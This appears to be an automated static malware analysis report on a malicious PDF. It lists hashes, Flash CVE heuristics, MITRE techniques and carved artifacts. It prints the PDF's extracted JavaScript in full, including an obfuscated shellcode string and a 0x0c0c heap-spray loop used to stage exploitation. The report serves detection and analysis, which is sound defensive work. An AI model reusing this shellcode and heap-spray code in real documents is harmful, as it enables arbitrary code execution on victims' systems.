Malicious PDF — malware analysis report

Static analysis result for SHA-256 d09f6adf824da210…

MALICIOUS

PDF

203.2 KB Created: 2010-06-11 11:09:09 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-10
MD5: 476286db2f572300742c177161bed256 SHA-1: 74ff749a12504c9faf2c597f32ce9ba2947744eb SHA-256: d09f6adf824da2100560c17202fa6bf3f20ce5de68e80a9ee9e51f1fd087ffab
500 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF document contains embedded Flash content that exploits multiple known vulnerabilities in Adobe Flash Player. The embedded JavaScript uses `unescape` and `loadBytes` to decompress and execute a second-stage payload, likely a shellcode loader. The presence of multiple CVEs and the JavaScript obfuscation strongly indicate a malicious intent to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9839

Heuristics 13

  • Adobe Flash Player RichMedia exploit critical CVE likely CVE_2011_0611_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation with an embedded AS3 SWF loader (ByteArray/loadBytes) and shellcode heap-spray staging. This is the static exploit shape associated with CVE-2011-0611 Flash content delivered through Adobe Reader.
  • Adobe Flash/authplay SWF exploit in PDF — CVE-2009-1862 critical CVE likely CVE_2009_1862_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an embedded SWF, and PDF-side shellcode heap-spray staging. This matches the 2009 authplay.dll Flash-in-PDF exploit delivery shape even when the SWF bytecode does not expose stable printable Run_Sploit markers.
  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • Flash ActionScript-3 exploit loader in PDF critical CVE related PDF_FLASH_AS3_EXPLOIT_LOADER
    An embedded Flash (SWF) object's ActionScript-3 bytecode contains exploit-loader primitives: decompressing an inner SWF into a ByteArray and executing it via LoaderContext.allowLoadBytesCodeExecution, and/or Vector heap/JIT spray groomers. Benign Flash content does not load and execute code from raw bytes — this is a staged Flash exploit delivered through the document.
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html In extracted file (stream_017_off0002a04d.bin)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_arial.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (stream_017_off0002a04d.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x372 3386 bytes
SHA-256: 55f236f1c4d58c6964105739e21feda827cd42e12ec2b7a86fcd00a7fd353044
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function CRTYU()   
{   
	var keyu= "u";
	var a = "\x6D\x65\x64";
	var b = "\x73\x75\x62\x73";
	var c = "\x69\x61";
	var re = /Z/g;
	var sc = "\xff\xcc\x84"
	sc = sc.replace(re,keyu);
    this._strings = new Array;   
}   
  
CRTYU.prototype.append = function(str)   
{   
    this._strings.push(str);   
    return this;   
}   
  
CRTYU.prototype.toString = function()   
{   
    return this._strings.join("");   
}   
  

CRTYU.prototype.length = function()   
{   
    var str = this._strings.join("");   
    return str.length;   
}   

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}

var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z0700%Z0011%Z0001%Z52e2%Z0700%Z5c54%Z0700%Zffff%Zffff%Z0100%Z0001%Z0000%Z0000%Z0104%Z0001%Z1000%Z0000%Z0040%Z0000%Zd731%Z0700%Z15bb%Z0700%Z905a%Z9054%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zeb5a%Z5815%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z1a8b%Z1889%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zc083%Z8304%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z04c2%Zfb81%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z0c0c%Z0c0c%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zee75%Z05eb%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Ze6e8%Zffff%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z90ff%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zffff%Z90ff%Z154d%Z0700%Zd731%Z0700%Z112f%Z0700%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Za8e6%Zee60%Zac4c%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Zc006%Zdee3%Z15b9%Zdee0%Zf74a%Zdee2%Zeea6%Zdee0"));

var nop = unescape("\x25\x750c0c\x25\x750c0c");
var TMP0 = new CRTYU();
while (nop["\x6c\x65\x6e\x67\x74\x68"] + 20 + 8 < 65536) 
{
  TMP0.append(nop);
  TMP0.append(nop);
  nop = TMP0.toString();
}

spt = nop["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, (0x0c0c-0x24)/2);
spt += sc;
spt += nop;
hack = spt["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 65536/2);

var TMP = new CRTYU();
while(hack["\x6c\x65\x6e\x67\x74\x68"] < 0x80000) 
{
  TMP.append(hack);
  TMP.append(hack);
  hack = TMP.toString();
}

bullet = hack["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (i=0;i<0x1f0;i++) 
{
  var TMP2 = new CRTYU();
  TMP2.append(bullet);
  TMP2.append("s");
  memory[i] = TMP2.toString();
}
stream_017_off0002a04d.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x2A04D 31224 bytes
SHA-256: 46aeadb4257e2e4657991b724f51324220589a041ec0f066dd3375f0c30355a0
objstm_0015_00.bin pdf-objstm-decoded PDF /ObjStm 15 0 obj (inflated) 912 bytes
SHA-256: cbd11d2ce487f41cb2e696adc35306d2f3d38b7de6eab25b0e0d07f05d693f12
font_00_sfnt_off00019100.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x19100 59540 bytes
SHA-256: a5f83dc779490887c109baf63a3a0b22b569738ed326e6c5e370865f31582217
font_01_sfnt_off0001fea2.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1FEA2 6220 bytes
SHA-256: d62e575766511e99d5a311f1cfd4cadd3a7816e5e4def0f89a1d632de2bb8184
font_02_sfnt_off0002102d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2102D 70924 bytes
SHA-256: 287d1d92a883288786fe56b9de80e975e4f707afd44cdefa370d553af9193a4f
font_04_sfnt_off0002e66d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2E66D 21100 bytes
SHA-256: 450ec3d59a56c6dff4e134c6c5b0b09c74458b20e3de0fef23d0a4e9482f2ece
polyglot_child_pdf_off00017baf.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x17BAF 110905 bytes
SHA-256: 50299ff8f61479e96a598dc067cd20094fed94cd6b4c18783400786094be0ab2
polyglot_child_pdf_off000314fb.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x314FB 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.